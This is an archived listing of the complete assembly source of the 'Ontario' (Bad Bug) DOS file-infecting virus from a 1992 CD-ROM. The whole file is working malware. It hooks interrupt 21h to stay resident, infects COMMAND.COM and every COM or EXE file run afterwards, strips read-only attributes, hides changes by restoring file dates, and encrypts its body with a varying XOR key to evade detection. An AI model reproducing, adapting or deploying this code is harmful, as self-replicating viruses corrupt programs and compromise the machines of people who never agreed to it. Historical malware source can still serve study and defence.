home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ONTARIO1.ASM < prev    next >
Assembly Source File  |  1992-09-06  |  7KB  |  356 lines

  1.  
  2. comment    *
  3.  
  4.            Older version of Bad Bug, also known as Ontario virus.
  5.                         --> Written by Death Angel <--
  6.     -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  7.     This virus first puts itself in memory, if not already.  Infects the
  8.     C:\COMMAND.COM file, then infects other files as they are loaded.
  9.     It appends itself onto COM and EXE files.
  10.  
  11.     Identification method:
  12.     ======================
  13.     Checking if already in memory - INT 21/AH=FF, returns AX=0
  14.     Checking if COM is infected - 4th byte in file "V"
  15.     Checking if EXE is infected - Instruction Pointer is at 1
  16.  
  17.     *
  18.  
  19. LOC_21        EQU    21H*4
  20. REAL_SIZE    equ    offset EOF
  21.  
  22. CODE    SEGMENT    PARA PUBLIC 'CODE'
  23.     ASSUME CS:CODE, DS:CODE
  24.     ORG 0h
  25.  
  26. VBUG    PROC    FAR
  27.     nop
  28.     call    MASTER_UNCODE
  29. VB01:
  30.     call    VB00
  31. VB00:
  32.     pop    bp
  33.     sub    BP, +7
  34.     mov    ax, -1
  35.     int    21h
  36.     or    ah, ah
  37.     je    GO_PROG
  38.  
  39.     push    ds
  40.     xor    ax, ax
  41.     mov    ds, ax                    ;BIOS data area
  42.     sub    word ptr ds:[0413H], 2
  43.     lds    bx, ds:[LOC_21]
  44.     mov    word ptr cs:[BP]+offset OLD_21, bx    
  45.     mov    word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector
  46.     mov    bx, es
  47.     dec    bx
  48.     mov    ds, bx
  49.     sub    word ptr ds:[0003H], 2048/16    ;Paragraph size
  50.     mov    ax, ds:[0012H]            ;Get high memory segment
  51.     sub    ax, 2048/16            ;Make room for ourself
  52.     mov    ds:[0012H], ax            ;Save it
  53.     mov    es, ax
  54.     push    cs
  55.     pop    ds
  56.     mov    si, bp            ;Put 0000 into SI (if EXE..)
  57.     xor    di, di
  58.     mov    cx, REAL_SIZE+4         ;Plus OLD_21 information!
  59.     cld
  60.     rep    movsb
  61.     mov    ds, cx            ;Put zero into DS
  62.     cli                ;Disable maskable interrupts
  63.     mov    word ptr ds:LOC_21, offset NEW_21
  64.     mov    word ptr ds:LOC_21+2, ax
  65.     sti                ;Enable interrupts
  66.     mov    ax, 4BFFH        ;Infect COMMAND.COM file!
  67.     int    21h
  68.     pop    ds
  69.     push    ds
  70.     pop    es
  71.  
  72. GO_PROG:                ;Check if EXE or COM program?
  73.     or    bp, bp            ;Are we an EXE file?
  74.     je    RUN_EXE
  75.  
  76. RUN_COM:                ;Run this infected .COM file
  77.     lea    si, [BP]+offset RUN_PROG
  78.     mov    di, 100H
  79.     push    di
  80.     cld
  81.     movsw    
  82.     movsw
  83. DUMB_ROUTINE PROC NEAR
  84.     ret                ;Do a local return
  85. DUMB_ROUTINE ENDP
  86.  
  87. RUN_EXE:
  88.     mov    ax, es            ;Get PSP segment
  89.     add    cs:word ptr RUN_PROG+2, ax    ;Reallocate entry segment
  90.                     
  91.     db    0EAh            ;JMP 0000:0000
  92.  
  93. RUN_PROG    db    0B4H, 04CH
  94.         db    0CDH, 021H
  95. NEW_21:
  96.     cmp    ax, -1
  97.     jne    NW00
  98.     inc    ax                ;Overflow to 0000
  99.     iret
  100. NW00:
  101.     cmp    ah, 4Bh                ;Infect program being executed
  102.     jne    RUN_OLD_21
  103.     cmp    al, 03
  104.     je    RUN_OLD_21
  105.     cmp    al, -1
  106.     jne    RO00
  107.     push    cs
  108.     pop    ds
  109.     mov    dx, offset COMMAND_FILE
  110.     call    INFECT_PROGRAM
  111.     IRET
  112. RO00:
  113.     call    INFECT_PROGRAM
  114.  
  115. RUN_OLD_21:
  116.     jmp    dword ptr cs:OLD_21    ;Do original interrupt
  117.  
  118. INFECT_PROGRAM    PROC    NEAR
  119. ;
  120. ;When entering a normal Int 21/AH=4BH
  121. ;DS:DX -> Ptr to filename
  122. ;ES:BX -> Ptr to Parm Block
  123. ;AL    -> 0 - Load/Run, 3 - Overlay
  124. ;
  125.     push    es
  126.     push    ds
  127.     push    dx
  128.     push    cx
  129.     push    bx
  130.     push    ax
  131. ;    push    si
  132. ;    push    di
  133.  
  134.     mov    ax, 4300H        ;Get file attribute
  135.     call    DO_21
  136.     jb    NO_CLOSE
  137.     test    cl, 00000001b
  138.     je    VB04
  139.     and    cl, 11111110b        ;Turn off bit 0 (so you can write)
  140.     mov    ax, 4301H        ;Set file attribute
  141.     call    DO_21
  142.     jb    NO_CLOSE
  143.       
  144. VB04:
  145.     mov    ax, 3D02h        ;Open file for reading & writing
  146.     call    DO_21
  147. VB05:
  148.     JNB    VB06
  149. NO_CLOSE:
  150.     JMP    END_21
  151. VB06:
  152.     
  153.     mov    bx, ax            ;Put new handle into BX
  154.     push    cs
  155.     pop    ds
  156.  
  157.     mov    ax, 5700H        ;Get file date
  158.     call    DO_21
  159.     mov    ds:FILE_TIME, cx
  160.     mov    ds:FILE_DATE, dx
  161.  
  162.     mov    dx, offset TMP_HEADER    ;Load in COM/EXE ? file header
  163.     mov    cx, 1BH            ;Size of header (for EXE, it doesn't
  164.                     ;matter the extra bytes loaded for
  165.                     ;COM files.
  166.     mov    ah, 3Fh            ;Read from file
  167.     call    DO_21
  168. VB10:
  169.     jb    CLOSE_END
  170.  
  171.     cmp    word ptr ds:SIGN, 'ZM'        ;Is this an EXE file? (MZ)
  172.     je    INFECT_EXE
  173.  
  174. INFECT_COM:
  175.     mov    al, byte ptr SIGN+1
  176.     cmp    al, byte ptr SIGN+3
  177.     je    CLOSE_END
  178.  
  179.     xor    dx, dx
  180.     xor    cx, cx
  181.     mov    ax, 4202H            ;Seek from EOF
  182.     call    DO_21
  183. VB15:
  184.     jb    CLOSE_END
  185.  
  186. ;Returns DX:AX number of bytes seeked (Size of file)
  187.  
  188.     cmp    ax, 0E000H            ;Check file size
  189.     ja    CLOSE_END
  190.     push    ax
  191.     mov    ax, ds:word ptr [SIGN+0]
  192.     mov    word ptr ds:RUN_PROG+0, ax
  193.     mov    ax, ds:word ptr [SIGN+2]
  194.     mov    word ptr ds:RUN_PROG+2, ax
  195.     pop    ax
  196.     sub    ax, 3                ;Calculate jmp to End of file
  197.     mov    byte ptr ds:SIGN+0, 0E9H    ;JMP FAR
  198.     mov    word ptr ds:SIGN+1, ax
  199.     mov    byte ptr ds:SIGN+3, al        ;Identification code
  200.  
  201.     jmp    FINISH_INFECT
  202.  
  203. ;From here in, both EXE & COM files are infected the same
  204. ;The virus is written, seek to start of file, and re-write the Header
  205.  
  206. INFECT_EXE:
  207.     cmp    word ptr ds:START_IP, 1
  208.     jne    VB19
  209. VB18:
  210. CLOSE_END:
  211.     jmp    END_INFECT
  212. VB19:
  213.     mov    ax, ds:[FILE_SIZE]        ;Get file size
  214.     mov    cx, 200H
  215.     mul    cx                ;Convert to bytes offset
  216.  
  217. ;If filesize, if bigger then 64K, the overflow is put into DX
  218.  
  219.     push    ax
  220.     push    dx
  221.     mov    cl, 04h
  222.     ror    dx, cl
  223.     shr    ax, cl                ;Convert to paragraphs
  224.     add    ax, dx
  225.     sub    ax, ds:SIZE_HEADER
  226.     PUSH    AX
  227.     mov    ax, ds:START_IP
  228.     mov     word ptr ds:RUN_PROG, ax
  229.     mov    ax, ds:START_CS
  230.     add    ax, 0010H
  231.     mov    word ptr ds:RUN_PROG+2, ax
  232.     POP    AX
  233.     mov    word ptr ds:START_CS, ax
  234.     mov    word ptr ds:START_IP, +1
  235.     inc    word ptr ds:FILE_SIZE
  236.  
  237.     pop    cx
  238.     pop    dx
  239.     mov    ax, 4200H            ;Goto end of file
  240.     call    DO_21
  241. VB20:
  242.     jb    VB25
  243.  
  244. FINISH_INFECT:
  245.     xor    ds:byte ptr [DC00]+1, 08h    ;Toggle NEG/NOT
  246.     
  247.     xor    ax, ax
  248.     mov    ds, ax
  249.     mov    AL, byte ptr ds:[46CH]    ;Lowest byte of timer count
  250.     push    cs
  251.     pop    ds
  252.     push    cs
  253.     pop    es
  254.     mov    ds:[CODE_BYTE], AL    ;Put high byte of file seek
  255.     xor    si, si
  256.     mov    di, offset REAL_EOF
  257.     push    di            ;Push pointer
  258.     mov    cx, offset EOF
  259.     cld
  260.     rep    movsb
  261.     mov    si, offset REAL_EOF+04H    ;REAL_EOF+VB01
  262.     call    DECODE
  263.     pop    dx            ;Restore pointer
  264.     mov    cx, REAL_SIZE
  265.     mov    ah, 40h
  266.     call    DO_21
  267.     JB    END_INFECT
  268.  
  269.     xor    cx, cx
  270.     xor    dx, dx            ;Distance to seek into file
  271.     mov    ax, 4200h        ;Seek from start of file
  272.     call    DO_21
  273.     jb    END_INFECT
  274.  
  275.     mov    dx, offset TMP_HEADER    ;Ptr to New modified header
  276.     mov    cx, 1BH            ;Size of header
  277.     mov    ah, 40h            ;Write to file
  278.     call    DO_21
  279.  
  280. VB25:
  281. END_INFECT:
  282.     mov    dx, ds:FILE_DATE
  283.     mov    cx, ds:FILE_TIME
  284.     mov    ax, 5701h        ;Set file date/time
  285.     call    DO_21
  286.  
  287. CLOSE_FILE:
  288.     mov    ah, 3Eh            ;Close the file
  289.     call    DO_21
  290. END_21:    
  291. ;    pop    di
  292. ;    pop    si
  293.     pop    ax
  294.     pop    bx
  295.     pop    cx
  296.     pop    dx
  297.     pop    ds
  298.     pop    es
  299.     RET
  300.  
  301. DO_21:
  302.     pushf
  303.     call    dword ptr cs:OLD_21
  304.     ret
  305.  
  306. COMMAND_FILE    DB    'C:\COMMAND.COM',0
  307.  
  308. MASTER_DECODE:
  309. CODE_BYTE    DB    80H
  310.  
  311. MASTER_UNCODE:
  312.     POP    SI
  313.     PUSH    SI
  314.     MOV    AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01]
  315. DECODE:
  316.     MOV    CX, OFFSET MASTER_DECODE-OFFSET VB01
  317. DC00:
  318.     NOT    AL
  319.     XOR    CS:BYTE PTR [SI], AL
  320.     INC    SI
  321.     LOOP    DC00
  322.     RET
  323.  
  324. INFECT_PROGRAM    ENDP
  325.  
  326. EOF:
  327.  
  328. OLD_21        DD    ?
  329.  
  330. FILE_TIME    DW    ?
  331. FILE_DATE    DW    ?
  332.  
  333. TMP_HEADER:
  334. SIGN        DW    ?
  335. LEN_IMAGE_MOD    DW    ?
  336. FILE_SIZE    DW    ?        ;In 512-increments
  337. NUM_REAL    DW    ?
  338. SIZE_HEADER    DW    ?
  339. MIN_ABOVE    DW    ?
  340. MAX_ABOVE    DW    ?
  341. STACK_SS    DW    ?
  342. STACK_SP    DW    ?
  343. CHECKSUM    DW    ?
  344. START_IP    DW    ?
  345. START_CS    DW    ?
  346. DISPLAY_REAL    DW    ?
  347. OVERLAY_NUM    DW    ?
  348.  
  349. REAL_EOF:
  350.  
  351. VBUG    ENDP
  352.  
  353. CODE    ENDS
  354.     END    VBUG
  355.  
  356.